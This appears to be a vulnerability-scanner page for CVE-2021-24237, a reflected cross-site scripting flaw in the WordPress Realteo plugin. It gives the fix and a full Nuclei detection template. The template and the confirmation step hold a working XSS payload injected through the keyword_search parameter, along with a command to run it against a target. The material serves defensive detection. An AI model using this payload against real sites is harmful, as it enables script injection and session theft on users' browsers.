WordPress Realteo <=1.2.3 - Cross-Site Scripting

mediumseverity

6.1CVSS score

6.3%likelihood of exploitation, next 30 days

94%of all CVEs are less likely

Readycheck to confirm it

WordPress Realteo plugin 1.2.3 and prior contains an unauthenticated reflected cross-site scripting vulnerability due to improper sanitization of keyword_search, search_radius. _bedrooms and _bathrooms GET parameters before outputting them in its properties page.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.

Fix

Update to the latest version of the WordPress Realteo plugin (>=1.2.4) which includes a fix for the Cross-Site Scripting vulnerability.

How to confirm it

Send: GET {{BaseURL}}/properties/?keyword_search=--!%3E%22%20autofocus%20onfocus%3Dalert(/{{randstr}}/)%3B%2F%2F
Positive when: contains "autofocus onfocus=alert(/{{randstr}}/);//" and "Nothing found" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-24237 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-24237

info:
  name: WordPress Realteo <=1.2.3 - Cross-Site Scripting
  author: 0x_Akoko
  severity: medium
  description: WordPress Realteo plugin 1.2.3 and prior contains an unauthenticated reflected cross-site scripting vulnerability due to improper sanitization of keyword_search, search_radius. _bedrooms and _bathrooms GET parameters before outputting them in its properties page.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Update to the latest version of the WordPress Realteo plugin (>=1.2.4) which includes a fix for the Cross-Site Scripting vulnerability.
  reference:
    - https://wpscan.com/vulnerability/087b27c4-289e-410f-af74-828a608a4e1e
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24237
    - https://www.docs.purethemes.net/findeo/knowledge-base/changelog-findeo/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24237
    cwe-id: CWE-79
    epss-score: 0.06275
    epss-percentile: 0.93636
    cpe: cpe:2.3:a:purethemes:findeo:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: purethemes
    product: findeo
    framework: wordpress
  tags: cve2021,cve,realteo,xss,wordpress,plugin,wpscan,intrusive,purethemes,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/properties/?keyword_search=--!%3E%22%20autofocus%20onfocus%3Dalert(/{{randstr}}/)%3B%2F%2F"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - autofocus onfocus=alert(/{{randstr}}/);//
          - Nothing found
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

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